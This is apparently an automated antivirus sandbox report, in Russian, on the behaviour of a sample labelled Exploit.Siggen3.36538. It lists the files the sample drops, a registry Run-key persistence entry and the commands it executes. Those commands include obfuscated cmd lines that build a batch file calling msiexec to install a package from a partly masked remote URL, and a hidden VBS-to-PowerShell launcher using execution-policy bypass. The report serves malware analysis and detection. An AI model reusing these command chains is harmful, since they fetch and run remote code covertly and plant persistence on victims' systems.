Exploit.Siggen3.36538

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ServiceDLL' = '%APPDATA%\ilDrwbFR\presentationhost.exe'

Вредоносные функции

Запускает на исполнение (эксплоит)

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\algeria.sql
%APPDATA%\ildrwbfr\pcicl32.dll
%APPDATA%\ildrwbfr\pcichek.dll
%APPDATA%\ildrwbfr\pcicapi.dll
%APPDATA%\ildrwbfr\nsm.lic
%APPDATA%\ildrwbfr\nsm.ini
%APPDATA%\ildrwbfr\nskbfltr.inf
%APPDATA%\ildrwbfr\msvcr100.dll
%APPDATA%\ildrwbfr\htctl32.dll
%APPDATA%\ildrwbfr\client32.ini
%APPDATA%\ildrwbfr\presentationhost.exe
%HOMEPATH%\downloads\futeuwliwu.vbs
%TEMP%\nsc9b17.tmp\system.dll
%TEMP%\wincrtfuteuwliwu.ps1
%TEMP%\nsc9b17.tmp\blowfish.dll
%TEMP%\mw-0e336374-353a-4ff0-8cc2-46f973d12a14\files\$dpx$.tmp\9213b3af26d07e4292dde5cc5d4f3eaa.tmp
%TEMP%\mw-0e336374-353a-4ff0-8cc2-46f973d12a14\files.cab
%TEMP%\mw-0e336374-353a-4ff0-8cc2-46f973d12a14\msiwrapper.ini
%TEMP%\1185841.cvr
%TEMP%\aladin.bat
%APPDATA%\ildrwbfr\remcmdstub.exe
%APPDATA%\ildrwbfr\tcctl32.dll

Удаляет следующие файлы

Перемещает следующие файлы

%TEMP%\mw-0e336374-353a-4ff0-8cc2-46f973d12a14\files\$dpx$.tmp\9213b3af26d07e4292dde5cc5d4f3eaa.tmp в %TEMP%\mw-0e336374-353a-4ff0-8cc2-46f973d12a14\files\signed_gcorp5.exe

Сетевая активность

Подключается к

TCP

Запросы HTTP GET

UDP

Другое

Ищет следующие окна

Создает и запускает на исполнение

'%TEMP%\mw-0e336374-353a-4ff0-8cc2-46f973d12a14\files\signed_gcorp5.exe'
'%WINDIR%\syswow64\wscript.exe' %HOMEPATH%\downloads\FUTEUWLIWU.vbs
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\wincrtFUTEUWLIWU.ps1
'%APPDATA%\ildrwbfr\presentationhost.exe'
'<SYSTEM32>\cmd.exe' /c type %appdata%\* | C^md' (со скрытым окном)
'%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c echo CreateObject("Wscript.Shell").Run "cmd /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\wincrtFUTEUWLIWU.ps1", 0, False > %userprofile%\downloads\FUTEUWLIWU.vbs& wscript %userprofile%\d...' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\wincrtFUTEUWLIWU.ps1' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /S /D /c" type %APPDATA%\* "
'<SYSTEM32>\cmd.exe'
'<SYSTEM32>\cmd.exe' /S /D /c" EChO"
'<SYSTEM32>\cmd.exe' /S /D /c" SEt /p=" M^siexe" 1>%TEMP%\aladin.bat"
'<SYSTEM32>\cmd.exe' /S /D /c" set /p="c " 1>>%TEMP%\aladin.bat"
'<SYSTEM32>\cmd.exe' /S /D /c" set /p="^/i" 1>>%TEMP%\aladin.bat"
'<SYSTEM32>\cmd.exe' /S /D /c" set /p=" http^:^/^/^www.te#####artupmoney.com/wp-topic.php " 1>>%TEMP%\aladin.bat"
'<SYSTEM32>\cmd.exe' /S /D /c" set /p=" ^/q &exit" 1>>%TEMP%\aladin.bat"
'<SYSTEM32>\msiexec.exe' /ihttp://www.te#####artupmoney.com/wp-topic.php /q
'%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files
'<SYSTEM32>\cmd.exe' /c echo CreateObject("Wscript.Shell").Run "cmd /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\wincrtFUTEUWLIWU.ps1", 0, False > %userprofile%\downloads\FUTEUWLIWU.vbs& wscript %userprofile%\d...
'%WINDIR%\syswow64\cmd.exe' /c rd /s /q "%TEMP%\MW-0e336374-353a-4ff0-8cc2-46f973d12a14\files"
'%WINDIR%\syswow64\cmd.exe' /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\wincrtFUTEUWLIWU.ps1
'%WINDIR%\syswow64\cmd.exe' /c cmd /c powershell -ep bypass -f %TEMP%\wincrtFUTEUWLIWU.ps1
'%WINDIR%\syswow64\cmd.exe' /c powershell -ep bypass -f %TEMP%\wincrtFUTEUWLIWU.ps1
'%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ServiceDLL /t REG_SZ /d %APPDATA%\ilDrwbFR\presentationhost.exe /f